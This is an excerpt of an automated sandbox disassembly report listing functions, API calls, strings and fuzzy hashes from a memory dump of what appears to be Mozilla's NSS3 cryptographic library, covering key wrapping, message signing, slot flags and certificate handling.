PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE89047

Strings

(CK_INVALID_HANDLE), xrefs: 6CE88EAC, 6CE88F1F, 6CE88F79
C_WrapKey, xrefs: 6CE88E71
hSession = 0x%x, xrefs: 6CE88E8E, 6CE88E9E
pulWrappedKeyLen = 0x%p, xrefs: 6CE88FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6CE89042
pMechanism = 0x%p, xrefs: 6CE88EE0
hKey = 0x%x, xrefs: 6CE88F5B, 6CE88F6B
hWrappingKey = 0x%x, xrefs: 6CE88F01, 6CE88F11
pWrappedKey = 0x%p, xrefs: 6CE88FAD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 887fd17c3066794dfdadad5a634a8cdf116643837d71c8721e9c9d826d7bbbc4
Instruction ID: c2cf1061783e5af07075756781614c1f2843b9bcb62c4e6510a3a5ebf1119485
Opcode Fuzzy Hash: 887fd17c3066794dfdadad5a634a8cdf116643837d71c8721e9c9d826d7bbbc4
Instruction Fuzzy Hash: 9751E531A12104AFDB10DF40DD88F9B7B72AB4230CF19442AF90D6BB52DB329918CBA5

Function 6CEB4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C5B
PR_smprintf.NSS3(6CF8AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEB4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEB4DA2
free.MOZGLUE(?), ref: 6CEB4DB9
free.MOZGLUE(00000000), ref: 6CEB4DCF

Strings

any, xrefs: 6CEB4C96
slotFlags, xrefs: 6CEB4D34
ootT, xrefs: 6CEB4D1A
rootFlags, xrefs: 6CEB4D47
timeout, xrefs: 6CEB4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEB4D9D
0x%08lx=[%s %s], xrefs: 6CEB4D80
every, xrefs: 6CEB4CA1
%s,%s, xrefs: 6CEB4C4B
rust, xrefs: 6CEB4D22

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction ID: 84d685605cf54c20361e1a9b1875a1b17ea5cdef3617b6ee73e3e14b46893a1d
Opcode Fuzzy Hash: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction Fuzzy Hash: 7D418EB2E10141ABDB125F689D40BBF7675AF8270CF25412AEC196BB01E731E914C7D3

Function 6CE96CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE96943
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE96957
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE96972
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE96983
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE969AA
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE969BE
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE969D2
Part of subcall function 6CE96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE969DF
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96D8C
free.MOZGLUE(00000000), ref: 6CE96DC5
free.MOZGLUE(?), ref: 6CE96DD6
free.MOZGLUE(?), ref: 6CE96DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E72
free.MOZGLUE(?), ref: 6CE96EA7
free.MOZGLUE(?), ref: 6CE96EC4
free.MOZGLUE(?), ref: 6CE96ED5
free.MOZGLUE(00000000), ref: 6CE96EE3
free.MOZGLUE(?), ref: 6CE96EF4
free.MOZGLUE(?), ref: 6CE96F08
free.MOZGLUE(00000000), ref: 6CE96F35
free.MOZGLUE(?), ref: 6CE96F44
free.MOZGLUE(?), ref: 6CE96F5B
free.MOZGLUE(00000000), ref: 6CE96F65

Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
Part of subcall function 6CE96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96
Part of subcall function 6CE96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE96FF4

Strings

+`l, xrefs: 6CE96D0D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction ID: 6e936dff8fa6ef1b398e61a7bce68884da8adeb21f35e76cd66c2587caab6fce
Opcode Fuzzy Hash: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction Fuzzy Hash: 83B13AB5E012099FDF80DFA5D845B9EBBB8AF0534CF240026E815E7B50E731EA55CBA1

Function 6CE5DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5DDDE

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE5DDF5

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5DE34
PR_Now.NSS3 ref: 6CE5DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE5DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE5DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE5DEF0
PR_smprintf.NSS3(6CF8AAF9,(NULL) (Validity Unknown)), ref: 6CE5DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE5DF33
free.MOZGLUE(00000000), ref: 6CE5DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF4B
free.MOZGLUE(00000000), ref: 6CE5DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5DF8E

Strings

%s%s, xrefs: 6CE5DEEB
(NULL) (Validity Unknown), xrefs: 6CE5DEFA
{???}, xrefs: 6CE5DE8B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction ID: ed6c86bbb2dc2652aebad1e375c3421b20eaaca3ac35f17ab8d9e70fedc908e3
Opcode Fuzzy Hash: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction Fuzzy Hash: 6D51A4B5E001159BDB00DF659D41AAF7BB9EF85358F644028E809E7B00EB32DA15CBF1

Function 6CE92D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE92DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE92E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000,?), ref: 6CE92E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000), ref: 6CE92E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EF8
PR_Unlock.NSS3(?), ref: 6CE92F62
TlsGetValue.KERNEL32 ref: 6CE92F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE92F9E
PR_Unlock.NSS3(?), ref: 6CE92FCA
TlsGetValue.KERNEL32 ref: 6CE9301A
EnterCriticalSection.KERNEL32(?), ref: 6CE9302E
PR_Unlock.NSS3(?), ref: 6CE93066
PR_SetError.NSS3(00000000,00000000), ref: 6CE93085
PR_Unlock.NSS3(?), ref: 6CE930EC
TlsGetValue.KERNEL32 ref: 6CE9310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE93124
PR_Unlock.NSS3(?), ref: 6CE9314C

Part of subcall function 6CE79180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE7918D
Part of subcall function 6CE79180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE791A0

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE9316D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction ID: c832da17c2b31ceac3a9f346950bd90bad5aa4e2631b88b4062de92d641dc23f
Opcode Fuzzy Hash: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction Fuzzy Hash: 6AF19CB5D00209AFDF00DF64D888B9EBBB5FF09318F244169EC19A7721E731A995CB91

Function 6CE8AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE8AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AF83

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE8AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE8AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE8AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE8B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE8B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE8B041

Strings

ulParameterLen = 0x%p, xrefs: 6CE8AFD4
C_SignMessage, xrefs: 6CE8AF41
pData = 0x%p, xrefs: 6CE8AFEF
pParameter = 0x%p, xrefs: 6CE8AFB9
(CK_INVALID_HANDLE), xrefs: 6CE8AF7C
hSession = 0x%x, xrefs: 6CE8AF5E, 6CE8AF6E
ulDataLen = %d, xrefs: 6CE8B00A
pSignature = 0x%p, xrefs: 6CE8B023
pulSignatureLen = 0x%p, xrefs: 6CE8B03C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 332c3d568e60b0231285843130c928d40f0e8dc3985dd8b33bb73fc99ece0950
Instruction ID: 0ca3d08bb98603f1fe7dda7c28fecf25828f3db69c3041e853a4193fe5604107
Opcode Fuzzy Hash: 332c3d568e60b0231285843130c928d40f0e8dc3985dd8b33bb73fc99ece0950
Instruction Fuzzy Hash: 8441E575E12144EFDB508F50DD88F8A3BB2AB4230DF194429F90C6BB51DB328C58CBA9

Function 6CE79FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE79FBE

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE7A015

Part of subcall function 6CE91940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE9195C
Part of subcall function 6CE91940: EnterCriticalSection.KERNEL32(?,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE91970
Part of subcall function 6CE91940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5), ref: 6CE919A0

PL_FreeArenaPool.NSS3(?), ref: 6CE7A067
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A055

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A07E
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE7A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE7A0CF
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE7A140
PL_FinishArenaPool.NSS3(?), ref: 6CE7A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A158
PL_FinishArenaPool.NSS3(?), ref: 6CE7A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE7A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7A1B2
free.MOZGLUE(00000000), ref: 6CE7A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE7A1D6

Part of subcall function 6CE955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5,00000003,-00000004,00000000,?,6CE6EAC5), ref: 6CE95627
Part of subcall function 6CE955E0: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B), ref: 6CE9564F
Part of subcall function 6CE955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE95661
Part of subcall function 6CE955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5), ref: 6CE956AF

Strings

security, xrefs: 6CE7A00F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction ID: bf9af15bb6dbc8785e142e69c5af08b6f41ddaed60512989475740ac5ca91799
Opcode Fuzzy Hash: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction Fuzzy Hash: 0A51D9B5D402099BEB209BA4DD44BAEB378AF4630CF305528E805BBB41E776D509C7B2

Function 6CE94C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE94C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94DB7

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE94DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE94DEC
PR_Unlock.NSS3(?), ref: 6CE94E1B
